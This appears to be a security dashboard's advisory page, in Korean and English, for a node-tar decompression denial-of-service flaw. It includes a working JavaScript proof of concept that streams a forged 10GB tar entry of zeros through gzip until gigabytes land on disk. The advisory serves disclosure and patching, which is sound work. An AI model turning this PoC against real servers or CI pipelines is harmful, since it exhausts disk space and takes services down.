Kestrel
대시보드로 돌아가기
CVE-2026-59873CRITICAL· 7.5MITRENVDGHSA대응게시일: 2026. 07. 08.수정일: 2026. 07. 20.

node-tar: Decompression/parse DoS via unlimited input

DoS

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.5critical

이론적 심각도 점수

EPSS
0.4%상위 65.2%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향없음
가용성 영향높음
버전별 점수
CVSS 3.17.5CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

상세 설명

Summary

A Decompression/parse DoS via unlimited input vulnerability in node-tar allows an attacker to exhaust server resources (disk space and CPU). Because the library does not enforce hard upper bounds on total decompressed data or entry counts, a small, maliciously crafted "Gzip Bomb" can be used to fill a server's storage and crash services.

Details

The node-tar library does not enforce a hard upper bound on archive size or the volume of decompressed data processed during extraction. While the maxReadSize option exists, it only controls internal read chunk sizes (default 16MB) and does not limit the total cumulative bytes written to disk.

Specifically, in src/extract.ts, the Unpack stream processes entries as they arrive. There is no total-bytes limit, entry-count limit, or decompression ratio guard. An attacker can provide a TAR header claiming a massive file size (e.g., 10GB) and follow it with highly compressible data (like zeros). node-tar will continue to extract and write this data until the physical disk is exhausted, as it lacks a mechanism to abort based on global resource consumption.

PoC

The following Proof of Concept demonstrates how a tiny compressed input can be expanded into gigabytes of data on the host machine almost instantly.

  1. Create the exploit script:
text
1const fs = require('fs'), z = require('zlib'), t = require('tar');
2
3const d = 'dos_test';
4if (fs.existsSync(d)) fs.rmSync(d, {recursive:true});
5fs.mkdirSync(d);
6
7// Build 10GB header
8const h = Buffer.alloc(512);
9h.write('payload');
10h.write((10*1024**3).toString(8).padStart(11,'0'), 124);
11h.write('ustar', 257);
12let s = 256;
13for(let i=0;i<512;i++) if(i<148||i>155) s+=h[i];
14h.write(s.toString(8).padStart(6,'0'), 148);
15
16const gz = z.createGzip();
17gz.pipe(t.x({cwd: d}));
18gz.write(h);
19
20const b = Buffer.alloc(32 * 1024 * 1024); // 32MB chunks for speed
21
22const run = () => {
23 while (gz.write(b));
24 gz.once('drain', run);
25};
26
27const monitor = setInterval(() => {
28 try {
29 const bytes = fs.statSync(`${d}/payload`).size;
30 const mb = Math.floor(bytes / (1024 * 1024));
31 process.stdout.write(`\r[>] Extracted: ${mb} MB`);
32
33 if (mb > 5000) {
34 console.log('\n[!] VULN CONFIRMED: 5GB+ written from tiny input.');
35 process.exit();
36 }
37 } catch {}
38}, 50);
39
40process.on('exit', () => {
41 clearInterval(monitor);
42 console.log('[*] Cleaning up...');
43 if (fs.existsSync(d)) fs.rmSync(d, {recursive:true, force:true});
44});
45
46run();
  1. Run the PoC:
text
1node poc.js

Observation: You will see the extracted size rapidly climb to 5,000 MB+ within seconds, while the actual data being "sent" through the gzip stream is negligible.

Impact

This is a Denial of Service (DoS) vulnerability. It impacts any application or service that uses node-tar to extract archives provided by untrusted users (e.g., npm registries, CI/CD pipelines, or file-sharing platforms). An unauthenticated attacker can send a small payload that expands to consume all available disk space, leading to system-wide failure and service outages.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.